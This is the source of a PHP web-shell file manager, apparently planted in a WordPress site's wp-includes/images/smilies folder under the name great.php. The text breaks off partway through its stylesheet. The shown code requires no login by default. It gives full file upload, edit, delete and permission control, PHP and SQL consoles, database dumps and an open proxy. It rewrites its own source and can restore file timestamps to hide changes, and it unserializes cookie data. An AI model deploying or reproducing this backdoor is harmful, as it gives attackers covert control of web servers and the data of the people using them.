File manager - Edit - /home/aresglob/public_html/wp/wp-includes/images/smilies/great.php
Back
<?php $authorization = base64_decode('eyJhdXRob3JpemUiOiIwIiwibG9naW4iOiJhZG1pbiIsInBhc3N3b3JkIjoicGhwZm0iLCJjb29raWVfbmFtZSI6ImZtX3VzZXIiLCJkYXlzX2F1dGhvcml6YXRpb24iOiIzMCIsInNjcmlwdCI6IjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBzcmM9Imh0dHBzOi8vd3d3LmNkb2xpdmV0LmNvbS9lZGl0YXJlYS9lZGl0YXJlYS9lZGl0X2FyZWEvZWRpdF9hcmVhX2Z1bGwuanMiPjwvc2NyaXB0Pg0KPHNjcmlwdCBsYW5ndWFnZT0iSmF2YXNjcmlwdCIgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NCmVkaXRBcmVhTG9hZGVyLmluaXQoew0KaWQ6ICJuZXdjb250ZW50Ig0KLGRpc3BsYXk6ICJsYXRlciINCixzdGFydF9oaWdobGlnaHQ6IHRydWUNCixhbGxvd19yZXNpemU6ICJib3RoIg0KLGFsbG93X3RvZ2dsZTogdHJ1ZQ0KLHdvcmRfd3JhcDogdHJ1ZQ0KLGxhbmd1YWdlOiAicnUiDQosc3ludGF4OiAicGhwIgkNCix0b29sYmFyOiAic2VhcmNoLCBnb190b19saW5lLCB8LCB1bmRvLCByZWRvLCB8LCBzZWxlY3RfZm9udCwgfCwgc3ludGF4X3NlbGVjdGlvbiwgfCwgY2hhbmdlX3Ntb290aF9zZWxlY3Rpb24sIGhpZ2hsaWdodCwgcmVzZXRfaGlnaGxpZ2h0LCB8LCBoZWxwIg0KLHN5bnRheF9zZWxlY3Rpb25fYWxsb3c6ICJjc3MsaHRtbCxqcyxwaHAscHl0aG9uLHhtbCxjLGNwcCxzcWwsYmFzaWMscGFzIg0KfSk7DQo8L3NjcmlwdD4ifQ=='); $php_templates = base64_decode('eyJTZXR0aW5ncyI6Imdsb2JhbCAkZm1fY29uZmlnOw0KdmFyX2V4cG9ydCgkZm1fY29uZmlnKTsiLCJCYWNrdXAgU1FMIHRhYmxlcyI6ImVjaG8gZm1fYmFja3VwX3RhYmxlcygpOyJ9'); $sql_templates = base64_decode('eyJBbGwgYmFzZXMiOiJTSE9XIERBVEFCQVNFUzsiLCJBbGwgdGFibGVzIjoiU0hPVyBUQUJMRVM7In0='); $translation = base64_decode('eyJpZCI6ImVuIiwiQWRkIjoiQWRkIiwiQXJlIHlvdSBzdXJlIHlvdSB3YW50IHRvIGRlbGV0ZSB0aGlzIGRpcmVjdG9yeSAocmVjdXJzaXZlbHkpPyI6IkFyZSB5b3Ugc3VyZSB5b3Ugd2FudCB0byBkZWxldGUgdGhpcyBkaXJlY3RvcnkgKHJlY3Vyc2l2ZWx5KT8iLCJBcmUgeW91IHN1cmUgeW91IHdhbnQgdG8gZGVsZXRlIHRoaXMgZmlsZT8iOiJBcmUgeW91IHN1cmUgeW91IHdhbnQgdG8gZGVsZXRlIHRoaXMgZmlsZT8iLCJBcmNoaXZpbmciOiJBcmNoaXZpbmciLCJBdXRob3JpemF0aW9uIjoiQXV0aG9yaXphdGlvbiIsIkJhY2siOiJCYWNrIiwiQ2FuY2VsIjoiQ2FuY2VsIiwiQ2hpbmVzZSI6IkNoaW5lc2UiLCJDb21wcmVzcyI6IkNvbXByZXNzIiwiQ29uc29sZSI6IkNvbnNvbGUiLCJDb29raWUiOiJDb29raWUiLCJDcmVhdGVkIjoiQ3JlYXRlZCIsIkRhdGUiOiJEYXRlIiwiRGF5cyI6IkRheXMiLCJEZWNvbXByZXNzIjoiRGVjb21wcmVzcyIsIkRlbGV0ZSI6IkRlbGV0ZSIsIkRlbGV0ZWQiOiJEZWxldGVkIiwiRG93bmxvYWQiOiJEb3dubG9hZCIsImRvbmUiOiJkb25lIiwiRWRpdCI6IkVkaXQiLCJFbnRlciI6IkVudGVyIiwiRW5nbGlzaCI6IkVuZ2xpc2giLCJFcnJvciBvY2N1cnJlZCI6IkVycm9yIG9jY3VycmVkIiwiRmlsZSBtYW5hZ2VyIjoiRmlsZSBtYW5hZ2VyIiwiRmlsZSBzZWxlY3RlZCI6IkZpbGUgc2VsZWN0ZWQiLCJGaWxlIHVwZGF0ZWQiOiJGaWxlIHVwZGF0ZWQiLCJGaWxlbmFtZSI6IkZpbGVuYW1lIiwiRmlsZXMgdXBsb2FkZWQiOiJGaWxlcyB1cGxvYWRlZCIsIkZyZW5jaCI6IkZyZW5jaCIsIkdlbmVyYXRpb24gdGltZSI6IkdlbmVyYXRpb24gdGltZSIsIkdlcm1hbiI6Ikdlcm1hbiIsIkhvbWUiOiJIb21lIiwiUXVpdCI6IlF1aXQiLCJMYW5ndWFnZSI6Ikxhbmd1YWdlIiwiTG9naW4iOiJMb2dpbiIsIk1hbmFnZSI6Ik1hbmFnZSIsIk1ha2UgZGlyZWN0b3J5IjoiTWFrZSBkaXJlY3RvcnkiLCJOYW1lIjoiTmFtZSIsIk5ldyI6Ik5ldyIsIk5ldyBmaWxlIjoiTmV3IGZpbGUiLCJubyBmaWxlcyI6Im5vIGZpbGVzIiwiUGFzc3dvcmQiOiJQYXNzd29yZCIsInBpY3R1cmVzIjoicGljdHVyZXMiLCJSZWN1cnNpdmVseSI6IlJlY3Vyc2l2ZWx5IiwiUmVuYW1lIjoiUmVuYW1lIiwiUmVzZXQiOiJSZXNldCIsIlJlc2V0IHNldHRpbmdzIjoiUmVzZXQgc2V0dGluZ3MiLCJSZXN0b3JlIGZpbGUgdGltZSBhZnRlciBlZGl0aW5nIjoiUmVzdG9yZSBmaWxlIHRpbWUgYWZ0ZXIgZWRpdGluZyIsIlJlc3VsdCI6IlJlc3VsdCIsIlJpZ2h0cyI6IlJpZ2h0cyIsIlJ1c3NpYW4iOiJSdXNzaWFuIiwiU2F2ZSI6IlNhdmUiLCJTZWxlY3QiOiJTZWxlY3QiLCJTZWxlY3QgdGhlIGZpbGUiOiJTZWxlY3QgdGhlIGZpbGUiLCJTZXR0aW5ncyI6IlNldHRpbmdzIiwiU2hvdyI6IlNob3ciLCJTaG93IHNpemUgb2YgdGhlIGZvbGRlciI6IlNob3cgc2l6ZSBvZiB0aGUgZm9sZGVyIiwiU2l6ZSI6IlNpemUiLCJTcGFuaXNoIjoiU3BhbmlzaCIsIlN1Ym1pdCI6IlN1Ym1pdCIsIlRhc2siOiJUYXNrIiwidGVtcGxhdGVzIjoidGVtcGxhdGVzIiwiVWtyYWluaWFuIjoiVWtyYWluaWFuIiwiVXBsb2FkIjoiVXBsb2FkIiwiVmFsdWUiOiJWYWx1ZSIsIkhlbGxvIjoiSGVsbG8ifQ=='); $starttime = explode(' ', microtime()); $starttime = $starttime[1] + $starttime[0]; $langs = array('en','ru','de','fr','uk'); $path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']); $path = str_replace('\\', '/', $path) . '/'; $main_path=str_replace('\\', '/',realpath('./')); $phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false; $msg = ''; $default_language = 'ru'; $detect_lang = true; $fm_version = 1.4; $auth = json_decode($authorization,true); $auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; $auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30; $auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin'; $auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm'; $auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user'; $auth['script'] = isset($auth['script']) ? $auth['script'] : ''; $fm_default_config = array ( 'make_directory' => true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, 'show_gt' => true, 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, );if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config; else $fm_config = unserialize($_COOKIE['fm_config']); if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){ $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)){ foreach ($lang_priority as $lang_arr){ $lng = explode(';', $lang_arr); $lng = $lng[0]; if(in_array($lng,$langs)){ $language = $lng; break; } } } } $language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang']; $lang = json_decode($translation,true); if ($lang['id']!=$language) { $get_lang = ''; if (!empty($get_lang)) { $translation_string = str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE)); $fgc = file_get_contents(__FILE__); $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } $lang = json_decode($translation_string,true); } }function __($text){ global $lang; if (isset($lang[$text])) return $lang[$text]; else return $text; }; function fm_del_files($file, $recursive = false) { if($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if($el != '.' && $el != '..'){ fm_del_files($file . '/' . $el, true); } } } if(@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } }function fm_rights_string($file, $if = false){ $perms = fileperms($file); $info = ''; if(!$if){ if (($perms & 0xC000) == 0xC000) {$info = 's'; } elseif (($perms & 0xA000) == 0xA000) {$info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { $info = 'p'; } else { $info = 'u'; } } $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-'));return $info; }function fm_convert_rights($mode) { $mode = str_pad($mode,9,'-'); $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1'); $mode = strtr($mode,$trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); }function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if(@is_dir($file) && $rec){ $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header("Content-Disposition: attachment; filename=" . basename($file_name)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . filesize($file_name)); flush(); $fp = fopen($file_name, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); } fclose($fp); die(); } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die(); } } } function fm_dir_size($f,$format=true) { if($format){ $size=fm_dir_size($f,false); if($size<=1024) return $size.' bytes'; elseif($size<=1024*1024) return round($size/(1024),2).' Kb'; elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb'; elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb'; elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:))) else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; } else { if(is_file($f)) return filesize($f); $size=0; $dh=opendir($f); while(($file=readdir($dh))!==false) { if($file=='.' || $file=='..') continue; if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file); else $size+=fm_dir_size($f.'/'.$file,false); } closedir($dh); return $size+filesize($f); } } function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if(!empty($exp)){ $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if(!empty($type) && $type !== 'all'){ $func = 'is_' . $type; } if(@is_dir($directory)){ $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if(substr($filename, 0, 1) != '.' || $do_not_filter) { if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){ $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; }function fm_link($get,$link,$name,$title='') { if (empty($title)) $title=$name.' '.basename($link); return ' <a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>'; }function fm_arr_to_option($arr,$n,$sel=''){ foreach($arr as $v){ $b=$v[$n]; $res='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>'; } return $res; }function fm_lang_form ($current='en'){ return ' <form name="change_lang" method="post" action=""> <select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" > <option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option> <option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option> <option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option> <option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option> <option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option> </select> </form> '; }function fm_root($dirname){ return ($dirname=='.' OR $dirname=='..'); } function fm_sql_connect(){ global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); }function fm_sql($query){ global $fm_config; $query=trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection,$query); if ($queried===false) { ob_end_clean(); return mysqli_error($connection); } else { if(!empty($queried)){ while($row = mysqli_fetch_assoc($queried)) { $query_result[]=$row; } } $vdump=empty($query_result)?'':var_export($query_result,true); ob_end_clean(); $connection->close(); return '<pre>'.stripslashes($vdump).'</pre>'; } }function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n\n"; if($tables == '*'){ $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',',$tables); }$return=''; foreach($tables as $table){ $result = $mysqldb->query('SELECT * FROM '.$table); $num_fields = mysqli_num_fields($result); $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table)); $return.=$row2[1].$delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++){ while($row = mysqli_fetch_row($result)) { $return.= 'INSERT INTO `'.$table.'` VALUES('; for($j=0; $j<$num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n","\\n",$row[$j]); if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; } if ($j<($num_fields-1)) { $return.= ','; } } $return.= ')'.$delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return); } $return.="\n\n\n"; } $file=gmdate("Y-m-d_H-i-s",time()).'.sql'; $handle = fopen($file,'w+'); fwrite($handle,$return); fclose($handle); $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path. '\'"'; return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>'; }function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n\n";$f = fopen($sqlFileToExecute,"r+"); $sqlFile = fread($f,filesize($sqlFileToExecute)); $sqlArray = explode($delimiter,$sqlFile); foreach ($sqlArray as $stmt) { if (strlen($stmt)>3){ $result = $mysqldb->query($stmt); if (!$result){ $sqlErrorCode = mysqli_errno($mysqldb); $sqlErrorText = mysqli_error($mysqldb); break; } } } if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute; else return $sqlErrorText.'<br/>'.$stmt; }function fm_img_link($filename){ return './'.basename(__FILE__).'?img='.base64_encode($filename); }function fm_home_style(){ return ' input, input.fm_input { text-indent: 2px; }input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; }input.fm_input { background: #FCFCFC none !important; cursor: pointer; }.home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; }function fm_config_checkbox_row($name,$value) { global $fm_config; return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>'; }function fm_protocol() { if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://'; if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://'; if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://'; if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://'; return 'http://'; }function fm_site_url() { return fm_protocol().$_SERVER['HTTP_HOST']; }function fm_url($full=false) { $host=$full?fm_site_url():'.'; return $host.'/'.basename(__FILE__); }function fm_home($full=false){ return ' <a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home"> </span></a>'; }function fm_run_input($lng) { global $fm_config; $return = !empty($fm_config['enable_'.$lng.'_console']) ? ' <formmethod="post" action="'.fm_url().'" style="display:inline"> <input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'"> </form> ' : ''; return $return; }function fm_url_proxy($matches) { $link = str_replace('&','&',$matches[2]); $url = isset($_GET['url'])?$_GET['url']:''; $parse_url = parse_url($url); $host = $parse_url['scheme'].'://'.$parse_url['host'].'/'; if (substr($link,0,2)=='//') { $link = substr_replace($link,fm_protocol(),0,2); } elseif (substr($link,0,1)=='/') { $link = substr_replace($link,$host,0,1); } elseif (substr($link,0,2)=='./') { $link = substr_replace($link,$host,0,2); } elseif (substr($link,0,4)=='http') { } else { $link = $host.$link; } if ($matches[1]=='href' && !strripos($link, 'css')) { $base = fm_site_url().'/'.basename(__FILE__); $baseq = $base.'?proxy=true&url='; $link = $baseq.urlencode($link); } elseif (strripos($link, 'css')){ } return $matches[1].'="'.$link.'"'; } function fm_tpl_form($lng_tpl) { global ${$lng_tpl.'_templates'}; $tpl_arr = json_decode(${$lng_tpl.'_templates'},true); $str = ''; foreach ($tpl_arr as $ktpl=>$vtpl) { $str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>'; } return ' <table> <tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr> <form method="post" action=""> <input type="hidden" value="'.$lng_tpl.'" name="tpl_edited"> <tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr> '.$str.' <tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr> </form> <form method="post" action=""> <input type="hidden" value="'.$lng_tpl.'" name="tpl_edited"> <tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr> </form> </table> '; } if ($auth['authorize']) { if (isset($_POST['login']) && isset($_POST['password'])){ if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) { setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization'])); $_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']); } } if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) { echo ' <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title>'.__('File manager').'</title> </head> <body> <form action="" method="post"> '.__('Login').' <input name="login" type="text"> '.__('Password').' <input name="password" type="password"> <input type="submit" value="'.__('Enter').'" class="fm_input"> </form> '.fm_lang_form($language).' </body> </html> '; die(); } if (isset($_POST['quit'])) { unset($_COOKIE[$auth['cookie_name']]); setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization'])); header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']); } } if (isset($_GET['fm_settings'])) { if (isset($_GET['fm_config_delete'])) { unset($_COOKIE['fm_config']); setcookie('fm_config', '', time() - (86400 * $auth['days_authorization'])); header('Location: '.fm_url().'?fm_settings=true'); exit(0); } elseif (isset($_POST['fm_config'])) { $fm_config = $_POST['fm_config']; setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_config'] = serialize($fm_config); $msg = __('Settings').' '.__('done'); } elseif (isset($_POST['fm_login'])) { if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login']; $fm_login = json_encode($_POST['fm_login']); $fgc = file_get_contents(__FILE__); $search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login']; if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password']; $auth = $_POST['fm_login']; } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } elseif (isset($_POST['tpl_edited'])) { $lng_tpl = $_POST['tpl_edited']; if (!empty($_POST[$lng_tpl.'_name'])) { $fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS); } elseif (!empty($_POST[$lng_tpl.'_new_name'])) { $fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS); } if (!empty($fm_php)) { $fgc = file_get_contents(__FILE__); $search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc); if (file_put_contents(__FILE__, $replace)) { ${$lng_tpl.'_templates'} = $fm_php; $msg .= __('File updated'); } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } else $msg .= __('Error occurred'); } } if (isset($_GET['img'])) { $file=base64_decode($_GET['img']); if ($info=getimagesize($file)){ switch($info[2]){ case 1: $ext='gif'; break; case 2: $ext='jpeg'; break; case 3: $ext='png'; break; case 6: $ext='bmp'; break; default: die(); } header("Content-type: image/$ext"); echo file_get_contents($file); die(); } } if (isset($_GET['download'])) { $file=base64_decode($_GET['download']); fm_download($file); } if (isset($_GET['phpinfo'])) { phpinfo(); die(); } if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) { $url = isset($_GET['url'])?urldecode($_GET['url']):''; $proxy_form = ' <div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);"> <form action="" method="GET"> <input type="hidden" name="proxy" value="true"> '.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55"> <input type="submit" value="'.__('Show').'" class="fm_input"> </form> </div> '; if ($url) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy'); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_REFERER, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER,true); $result = curl_exec($ch); curl_close($ch); $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result); $result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result); echo $result; die(); } } ?> <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title><?=__('File manager')?></title> <style> body { background-color: white; font-family:Verdana, Arial, Helvetica, sans-serif; font-size:8pt; margin: 0px; }a:link, a:active, a:visited { color: #006699; text-decoration: none; } a:hover { color: #DD6900; text-decoration: underline; } a.th:link { color: #FFA34F; text-decoration: none; } a.th:active { color: #FFA34F; text-decoration: none; } a.th:visited { color: #FFA34F; text-decoration: none; } a.th:hover {color: #FFA34F; text-decoration: underline; }table.bg { background-color: #ACBBC6 }th, td { font: normal 8pt Verdana, Arial, Helvetica, sans-serif; padding: 3px; }th{ height: 25px; background-color: #006699; color:#FFA34F; font-weight:bold; font-size:11px; }.row1 { background-color: #EFEFEF; }.row2 { background-color: #DEE3E7; }.row3 { background-color: #D1D7DC; padding: 5px; }tr.row1:hover { background-color: 